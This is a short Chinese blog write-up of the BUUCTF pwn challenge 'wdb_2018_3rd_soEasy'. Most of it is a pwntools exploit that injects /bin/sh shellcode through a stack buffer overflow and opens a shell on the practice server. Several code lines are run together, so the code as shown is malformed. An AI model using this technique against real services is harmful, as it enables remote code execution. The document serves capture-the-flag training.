wdb_2018_3rd_soEasy

2024-06-12 13:24:27

wdb_2018_3rd_soEasy

查看保护

很明显的一道shellcode题目，0x48的大小的话直接用pwntools的shellcode即可。

from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 26049)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)r.recvuntil('0x')
buf = int(r.recv(8), 16)
success('buf = ' + hex(buf))shellcode = asm(shellcraft.sh())p1 = shellcode.ljust(0x48, b'a') + b'a' * 4 + p32(buf)r.sendline(p1)r.interactive()

wdb_2018_3rd_soEasy相关推荐

PWN-PRACTICE-BUUCTF-30
PWN-PRACTICE-BUUCTF-30 suctf_2018_stack wdb_2018_3rd_soEasy [BSidesCF 2019]Runit qctf2018_stack2 suc ...
BUUCTF-pwn(15)
gyctf_2020_some_thing_interesting 经典UAF漏洞! Allocate申请函数! Free释放函数! 全保护开启,故我们利用格式化字符串漏洞泄露libc地址,从而得到m ...

最新文章

热门文章